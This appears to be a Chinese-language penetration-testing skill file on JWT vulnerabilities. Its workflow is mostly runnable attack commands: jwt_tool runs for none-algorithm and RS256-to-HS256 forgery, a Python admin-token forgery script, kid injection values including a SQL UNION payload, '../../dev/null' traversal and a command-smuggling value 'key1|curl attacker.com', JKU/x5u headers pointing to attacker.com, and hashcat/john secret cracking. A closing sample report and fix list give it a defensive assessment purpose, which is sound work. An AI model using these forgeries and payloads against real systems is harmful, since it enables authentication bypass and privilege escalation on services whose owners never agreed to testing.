| name | testing-for-json-web-token-vulnerabilities |
| description | 测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["jwt","json-web-token","algorithm-confusion","authentication-bypass","token-forgery","kid-injection","jku-attack"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
测试 JSON Web Token 漏洞(Testing for JSON Web Token Vulnerabilities)
适用场景
- 测试使用 JWT 进行认证和会话管理的应用程序
- 对使用 JWT 进行授权的 API 进行安全评估
- 评估使用 JWT 的 OAuth 2.0 或 OpenID Connect 实现
- 对单点登录(SSO)系统进行渗透测试
- 审计 JWT 库配置中的已知漏洞
前置条件
- jwt_tool(Python JWT 利用工具包)
- Burp Suite 及 JWT Editor 扩展
- jwt.io(用于解码和检查 JWT 结构)
- 了解 JWT 结构(header.payload.signature)和算法(HS256、RS256)
- hashcat 或 john(用于暴力破解弱 JWT 密钥)
- Python PyJWT 库(用于自定义 JWT 伪造脚本)
- 能够访问使用基于 JWT 认证的应用程序
工作流程
步骤 1 — 解码并分析 JWT 结构
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
python3 jwt_tool.py <JWT_TOKEN>
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
步骤 2 — 测试"none"算法绕过
python3 jwt_tool.py <JWT_TOKEN> -X a
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
步骤 3 — 测试算法混淆(RS256 转 HS256)
curl http://target.com/.well-known/jwks.json
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
openssl x509 -pubkey -noout > public_key.pem
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
步骤 4 — 测试密钥 ID(kid)参数注入
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
-S hs256 -p "secret-key"
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
-S hs256 -p ""
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
步骤 5 — 测试 JKU/X5U 头部注入
python3 jwt_tool.py <JWT_TOKEN> -X s
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
python3 jwt_tool.py <JWT_TOKEN> -X i
步骤 6 — 暴力破解弱 JWT 密钥
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
-I -pc role -pv admin -pc sub -pv "admin@target.com"
核心概念
| 概念 | 定义 |
|---|
| 算法混淆(Algorithm Confusion) | 使用公钥作为 HMAC 密钥,从非对称(RS256)切换到对称(HS256) |
| None 算法(None Algorithm) | 将 alg 设为"none"以创建未签名的 Token,被配置不当的服务器接受 |
| kid 注入(Kid Injection) | 利用密钥 ID 头部参数进行 SQLi、路径遍历或 SSRF |
| JKU/X5U 注入(JKU/X5U Injection) | 将密钥源 URL 指向攻击者控制的服务器以替换密钥 |
| 弱密钥(Weak Secret) | 可通过字典攻击暴力破解的 HMAC 密钥 |
| 声明篡改(Claim Tampering) | 在绕过签名验证后修改 Payload 声明(role、sub、admin) |
| Token 重放(Token Replay) | 在预期会话应已过期后,重复使用有效的 JWT |
工具与系统
| 工具 | 用途 |
|---|
| jwt_tool | 全面的 JWT 测试与利用工具包 |
| JWT Editor(Burp) | 用于 JWT 操控和攻击自动化的 Burp Suite 扩展 |
| hashcat | GPU 加速的 JWT 密钥暴力破解(模式 16500) |
| john the ripper | 基于 CPU 的 JWT 密钥破解 |
| jwt.io | 用于检查的在线 JWT 解码器和调试器 |
| PyJWT | 用于编程方式创建和验证 JWT 的 Python 库 |
常见场景
- None 算法绕过 — 将 JWT 算法改为"none",移除签名,在接受未签名 JWT 的服务器上伪造管理员 Token
- 算法混淆攻击 — 使用泄露的公钥将 RS256 切换为 HS256,伪造任意 Token 以获取管理权限
- kid SQL 注入 — 在 kid 参数中注入 SQL Payload,从数据库中提取签名密钥
- 弱密钥破解 — 使用 hashcat 暴力破解 HMAC-SHA256 密钥,为任意用户伪造 JWT
- JKU 服务器欺骗 — 将 JKU 头部指向攻击者控制的 JWKS 端点,使用攻击者私钥签署 Token
输出格式
## JWT 安全评估报告
- **目标**:http://target.com
- **JWT 算法**:RS256(声明)
- **JWKS 端点**:http://target.com/.well-known/jwks.json
### 发现
| # | 漏洞 | 技术 | 影响 | 严重性 |
|---|--------------|-----------|--------|----------|
| 1 | 接受 none 算法 | alg: "none" | 认证绕过 | Critical |
| 2 | 算法混淆 | RS256 -> HS256 | Token 伪造 | Critical |
| 3 | 弱 HMAC 密钥 | 暴力破解:"secret123" | 完全 Token 伪造 | Critical |
| 4 | kid 路径遍历 | kid: "../../dev/null" | 使用空密钥签名 | High |
### 修复建议
- 在 JWT 验证中强制执行算法白名单(拒绝"none")
- 使用非对称算法(RS256/ES256)并妥善管理密钥
- 对 HMAC 算法使用强随机密钥(256 位以上)
- 将 kid 参数验证为严格的允许列表
- 忽略 jku/x5u 头部,或仅验证已知端点
- 设置适当的 Token 过期时间(exp)并实施 Token 吊销